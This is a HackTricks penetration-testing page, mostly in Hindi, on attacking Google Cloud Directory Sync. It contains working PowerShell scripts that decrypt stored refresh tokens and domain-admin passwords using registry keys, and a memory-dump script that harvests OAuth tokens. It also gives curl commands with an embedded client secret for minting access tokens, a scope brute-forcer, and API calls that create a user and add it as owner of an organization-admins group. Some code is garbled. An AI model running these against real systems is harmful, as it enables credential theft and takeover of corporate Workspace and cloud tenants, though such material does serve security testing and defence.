GCDS - Google Cloud Directory Sync

Support HackTricks

Basic Information

यह एक उपकरण है जिसका उपयोग आपके सक्रिय निर्देशिका उपयोगकर्ताओं और समूहों को आपके Workspace के साथ समन्वयित करने के लिए किया जा सकता है (और इस लेखन के समय इसके विपरीत नहीं)।

यह दिलचस्प है क्योंकि यह एक उपकरण है जिसे Workspace सुपरयूजर और विशेषाधिकार प्राप्त AD उपयोगकर्ता के क्रेडेंशियल्स की आवश्यकता होगी। इसलिए, यह संभव है कि इसे एक डोमेन सर्वर के अंदर पाया जा सके जो समय-समय पर उपयोगकर्ताओं को समन्वयित कर रहा हो।

To perform a MitM to the config-manager.exe binary just add the following line in the config.manager.vmoptions file: -Dcom.sun.net.ssl.checkRevocation=false

Note that Winpeas is capable to detect GCDS, get information about the configuration and even the passwords and encrypted credentials.

यह भी ध्यान दें कि GCDS AD से Workspace में पासवर्ड समन्वयित नहीं करेगा। यदि कुछ होगा तो यह बस नए बनाए गए उपयोगकर्ताओं के लिए Workspace में यादृच्छिक पासवर्ड उत्पन्न करेगा जैसा कि आप निम्नलिखित छवि में देख सकते हैं:

GCDS - Disk Tokens & AD Credentials

बाइनरी config-manager.exe (मुख्य GCDS बाइनरी GUI के साथ) कॉन्फ़िगर की गई सक्रिय निर्देशिका क्रेडेंशियल्स, रिफ्रेश टोकन और एक्सेस को डिफ़ॉल्ट रूप से xml फ़ाइल में C:\Program Files\Google Cloud Directory Sync फ़ोल्डर में Untitled-1.xml नामक फ़ाइल में संग्रहीत करेगा। हालांकि, इसे उपयोगकर्ता के Documents में या किसी अन्य फ़ोल्डर में भी सहेजा जा सकता है।

इसके अलावा, रजिस्ट्री HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui के अंदर कुंजी open.recent में हाल ही में खोले गए सभी कॉन्फ़िगरेशन फ़ाइलों (xmls) के पथ होते हैं। इसलिए इसे खोजने के लिए जांचना संभव है

फ़ाइल के अंदर सबसे दिलचस्प जानकारी होगी:

[...]
<loginMethod>OAUTH2</loginMethod>
<oAuth2RefreshToken>rKvvNQxi74JZGI74u68aC6o+3Nu1ZgVUYdD1GyoWyiHHxtWx+lbx3Nk8dU27fts5lCJKH/Gp1q8S6kEM2AvjQZN16MkGTU+L2Yd0kZsIJWeO0K0RdVaK2D9Saqchk347kDgGsQulJnuxU+Puo46+aA==</oAuth2RefreshToken>
<oAuth2Scopes>
<scope>https://www.google.com/m8/feeds/</scope>
<scope>https://www.googleapis.com/auth/admin.directory.group</scope>
<scope>https://www.googleapis.com/auth/admin.directory.orgunit</scope>
<scope>https://www.googleapis.com/auth/admin.directory.resource.calendar</scope>
<scope>https://www.googleapis.com/auth/admin.directory.user</scope>
<scope>https://www.googleapis.com/auth/admin.directory.userschema</scope>
<scope>https://www.googleapis.com/auth/apps.groups.settings</scope>
<scope>https://www.googleapis.com/auth/apps.licensing</scope>
<scope>https://www.googleapis.com/auth/plus.me</scope>
</oAuth2Scopes>
[...]
<hostname>192.168.10.23</hostname>
<port>389</port>
<basedn>dc=hacktricks,dc=local</basedn>
<authType>SIMPLE</authType>
<authUser>DOMAIN\domain-admin</authUser>
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]

नोट करें कि उपयोगकर्ता का refresh token और password AES CBC का उपयोग करके एक यादृच्छिक रूप से उत्पन्न कुंजी और IV के साथ encrypted हैं, जो HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util में संग्रहीत हैं (जहां prefs Java पुस्तकालय प्राथमिकताएँ संग्रहीत करता है) स्ट्रिंग कुंजी /Encryption/Policy/V2.iv और /Encryption/Policy/V2.key में base64 में संग्रहीत हैं।

Powershell स्क्रिप्ट refresh token और password को decrypt करने के लिए

```powershell # Paths and key names $xmlConfigPath = "C:\Users\c\Documents\conf.xml" $regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util" $ivKeyName = "/Encryption/Policy/V2.iv" $keyKeyName = "/Encryption/Policy/V2.key"

Open the registry key

try { $regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath) if (-not $regKey) { Throw "Registry key not found: HKCU$regPath" } } catch { Write-Error "Failed to open registry key: $_" exit }

Get Base64-encoded IV and Key from the registry

try { $ivBase64 = $regKey.GetValue($ivKeyName) $ivBase64 = $ivBase64 -replace '/', '' $ivBase64 = $ivBase64 -replace '\', '/' if (-not $ivBase64) { Throw "IV not found in registry" } $keyBase64 = $regKey.GetValue($keyKeyName) $keyBase64 = $keyBase64 -replace '/', '' $keyBase64 = $keyBase64 -replace '\', '/' if (-not $keyBase64) { Throw "Key not found in registry" } } catch { Write-Error "Failed to read registry values: $_" exit } $regKey.Close()

Decode Base64 IV and Key

$ivBytes = [Convert]::FromBase64String($ivBase64) $keyBytes = [Convert]::FromBase64String($keyBase64)

Read XML content

$xmlContent = Get-Content -Path $xmlConfigPath -Raw

Extract Base64-encoded encrypted values using regex

$refreshTokenMatch = [regex]::Match($xmlContent, "(.*?)") $refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value

$encryptedPasswordMatch = [regex]::Match($xmlContent, "(.*?)") $encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value

Decode encrypted values from Base64

$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64) $encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)

Function to decrypt data using AES CBC

Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) { $aes = [System.Security.Cryptography.Aes]::Create() $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $aes.KeySize = 256 $aes.BlockSize = 128 $aes.Key = $keyBytes $aes.IV = $ivBytes

$decryptor = $aes.CreateDecryptor() $memoryStream = New-Object System.IO.MemoryStream $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write) $cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length) $cryptoStream.FlushFinalBlock() $plaintextBytes = $memoryStream.ToArray()

$cryptoStream.Close() $memoryStream.Close()

return $plaintextBytes }

Decrypt the values

$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes $refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes)

$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes $decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes)

Output the decrypted values

Write-Host "Decrypted Refresh Token: $refreshToken" Write-Host "Decrypted Password: $decryptedPassword"

</details>

<div data-gb-custom-block data-tag="hint" data-style='info'>

ध्यान दें कि इस जानकारी की जांच करना संभव है **`DirSync.jar`** के जावा कोड को चेक करके **`C:\Program Files\Google Cloud Directory Sync`** में `exportkeys` स्ट्रिंग को खोजकर (क्योंकि यह वह cli पैरामीटर है जिसे बाइनरी `upgrade-config.exe` कुंजी को डंप करने के लिए अपेक्षित करता है)।

</div>

पॉवरशेल स्क्रिप्ट का उपयोग करने के बजाय, बाइनरी **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** का उपयोग करना भी संभव है जिसमें पैरामीटर `-exportKeys` है और रजिस्ट्री से **Key** और **IV** को हेक्स में प्राप्त करें और फिर बस कुछ साइबरशेफ का उपयोग करें AES/CBC के साथ और उस कुंजी और IV का उपयोग करके जानकारी को डिक्रिप्ट करें।

### GCDS - मेमोरी से टोकन डंप करना

GCPW की तरह, `config-manager.exe` प्रक्रिया की मेमोरी को डंप करना संभव है (यह GCDS का मुख्य बाइनरी नाम है जिसमें GUI है) और आप रिफ्रेश और एक्सेस टोकन पा सकेंगे (यदि वे पहले से उत्पन्न हो चुके हैं)।\
मुझे लगता है कि आप AD कॉन्फ़िगर की गई क्रेडेंशियल्स भी पा सकते हैं।

<details>

<summary>config-manager.exe प्रक्रियाओं को डंप करें और टोकन खोजें</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

GCDS - रिफ्रेश टोकन से एक्सेस टोकन उत्पन्न करना

रिफ्रेश टोकन का उपयोग करके, इसे और निम्नलिखित कमांड में निर्दिष्ट क्लाइंट आईडी और क्लाइंट सीक्रेट का उपयोग करके एक्सेस टोकन उत्पन्न करना संभव है:

curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token

GCDS - Scopes

ध्यान दें कि रिफ्रेश टोकन होने के बावजूद, आप एक्सेस टोकन के लिए किसी भी स्कोप का अनुरोध नहीं कर सकते क्योंकि आप केवल उन स्कोप का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं

इसके अलावा, रिफ्रेश टोकन हर एप्लिकेशन में मान्य नहीं है।

डिफ़ॉल्ट रूप से GCSD के पास उपयोगकर्ता के रूप में हर संभावित OAuth स्कोप तक पहुंच नहीं होगी, इसलिए निम्नलिखित स्क्रिप्ट का उपयोग करके हम उन स्कोप को खोज सकते हैं जिन्हें refresh_token के साथ access_token उत्पन्न करने के लिए उपयोग किया जा सकता है:

Bash script to brute-force scopes

```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \ --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \ --data "scope=$scope" \ https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then echo "" echo $scope echo $scope >> /tmp/valid_scopes.txt fi done

echo "" echo "" echo "Valid scopes:" cat /tmp/valid_scopes.txt rm /tmp/valid_scopes.txt

</details>

और यह वह आउटपुट है जो मुझे लेखन के समय मिला:

https://www.googleapis.com/auth/admin.directory.group https://www.googleapis.com/auth/admin.directory.orgunit https://www.googleapis.com/auth/admin.directory.resource.calendar https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/admin.directory.userschema https://www.googleapis.com/auth/apps.groups.settings https://www.googleapis.com/auth/apps.licensing https://www.googleapis.com/auth/contacts

#### एक उपयोगकर्ता बनाएं और उसे समूह `gcp-organization-admins` में जोड़ें ताकि GCP में वृद्धि करने की कोशिश की जा सके
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'

# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'

# You could also change the password of a user for example

नए उपयोगकर्ता को सुपर एडमिन भूमिका देना संभव नहीं है क्योंकि रीफ्रेश टोकन में आवश्यक विशेषाधिकार देने के लिए पर्याप्त स्कोप नहीं हैं

Last updated